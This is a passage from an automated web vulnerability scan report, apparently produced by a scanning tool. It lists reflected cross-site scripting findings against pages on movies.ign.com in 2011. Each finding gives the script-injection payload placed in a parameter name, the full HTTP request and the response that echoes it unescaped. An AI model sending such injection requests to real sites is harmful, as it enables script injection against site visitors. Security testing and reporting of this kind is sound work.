<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1147929p1.html?6d51f"><script>alert(1)</script>e164fe99c48=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.285. http://movies.ign.com/articles/114/1147929p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1147929p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 62888"-alert(1)-"6f3354e8262 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147929p1.html?62888"-alert(1)-"6f3354e8262=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:32 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-1501977113-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043612717v-1n-12mc+1297043612717mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 101079

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1147929p1.html?62888"-alert(1)-"6f3354e8262=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.286. http://movies.ign.com/articles/114/1148092c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148092c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 29c13"-alert(1)-"26508b83d99 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148092c.html?29c13"-alert(1)-"26508b83d99=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:24 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-1691301548-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043604672v-1n-12mc+1297043604672mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 92161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1148092c.html?29c13"-alert(1)-"26508b83d99=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.287. http://movies.ign.com/articles/114/1148092c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148092c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5317"><script>alert(1)</script>9daa5138b67 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148092c.html?d5317"><script>alert(1)</script>9daa5138b67=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:21 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1539871809-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043601527v-1n-12mc+1297043601527mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 92222

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1148092c.html?d5317"><script>alert(1)</script>9daa5138b67=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.288. http://movies.ign.com/articles/114/1148092p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148092p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47bc4"-alert(1)-"d283fb4d63c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148092p1.html?47bc4"-alert(1)-"d283fb4d63c=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:34 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-602032358-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043614309v-1n-12mc+1297043614309mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 112140

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1148092p1.html?47bc4"-alert(1)-"d283fb4d63c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.289. http://movies.ign.com/articles/114/1148092p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148092p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af31d"><script>alert(1)</script>185f3e74ce3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148092p1.html?af31d"><script>alert(1)</script>185f3e74ce3=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:30 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-1105728430-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043610281v-1n-12mc+1297043610281mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111300

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1148092p1.html?af31d"><script>alert(1)</script>185f3e74ce3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.290. http://movies.ign.com/articles/114/1148108p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148108p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ae1e"><script>alert(1)</script>141c2aea464 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148108p1.html?4ae1e"><script>alert(1)</script>141c2aea464=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:24 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-68557211-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043604723v-1n-12mc+1297043604723mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 97345

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1148108p1.html?4ae1e"><script>alert(1)</script>141c2aea464=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.291. http://movies.ign.com/articles/114/1148108p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148108p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b5f6"-alert(1)-"a44d596b8da was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148108p1.html?2b5f6"-alert(1)-"a44d596b8da=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:30 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-938208276-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043610602v-1n-12mc+1297043610602mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 97996

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1148108p1.html?2b5f6"-alert(1)-"a44d596b8da=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.292. http://movies.ign.com/articles/114/1148114p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148114p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 763c5"><script>alert(1)</script>2c358e183ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148114p1.html?763c5"><script>alert(1)</script>2c358e183ba=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:20 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-448514097-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043600229v-1n-12mc+1297043600229mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 95695

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1148114p1.html?763c5"><script>alert(1)</script>2c358e183ba=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.293. http://movies.ign.com/articles/114/1148114p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148114p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ee44"-alert(1)-"959923d1a63 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148114p1.html?3ee44"-alert(1)-"959923d1a63=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:25 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-1727351737-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043605850v-1n-12mc+1297043605850mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 96364

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1148114p1.html?3ee44"-alert(1)-"959923d1a63=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.294. http://movies.ign.com/articles/114/1148115p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148115p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a8c4"><script>alert(1)</script>0d69c01d8b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148115p1.html?1a8c4"><script>alert(1)</script>0d69c01d8b4=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:20 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-2012857665-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043600440v-1n-12mc+1297043600440mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 93865

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1148115p1.html?1a8c4"><script>alert(1)</script>0d69c01d8b4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.295. http://movies.ign.com/articles/114/1148115p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1148115p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be631"-alert(1)-"5da2ff87b32 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148115p1.html?be631"-alert(1)-"5da2ff87b32=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:23 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-1145280939-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:23 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043603762v-1n-12mc+1297043603762mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 93516

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1148115p1.html?be631"-alert(1)-"5da2ff87b32=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.296. http://movies.ign.com/gamestofilm.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/gamestofilm.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8803"><script>alert(1)</script>754ee5a6a93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gamestofilm.html?b8803"><script>alert(1)</script>754ee5a6a93=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:17 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-1743196009-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:17 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043657569v-1n-12mc+1297043657569mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 134670

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/gamestofilm.html?b8803"><script>alert(1)</script>754ee5a6a93=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.297. http://movies.ign.com/gamestofilm.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/gamestofilm.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 34740"-alert(1)-"7a618f6707d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /gamestofilm.html?34740"-alert(1)-"7a618f6707d=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:20 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-1097249081-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043660468v-1n-12mc+1297043660468mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 134611

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/gamestofilm.html?34740"-alert(1)-"7a618f6707d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.298. http://movies.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55374"><script>alert(1)</script>97d976b725a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?55374"><script>alert(1)</script>97d976b725a=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:25 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1098555159-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043665690v-1n-12mc+1297043665690mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 240147

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/index/latest-updates.html?55374"><script>alert(1)</script>97d976b725a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.299. http://movies.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8c73"-alert(1)-"0e0342e390f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?c8c73"-alert(1)-"0e0342e390f=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
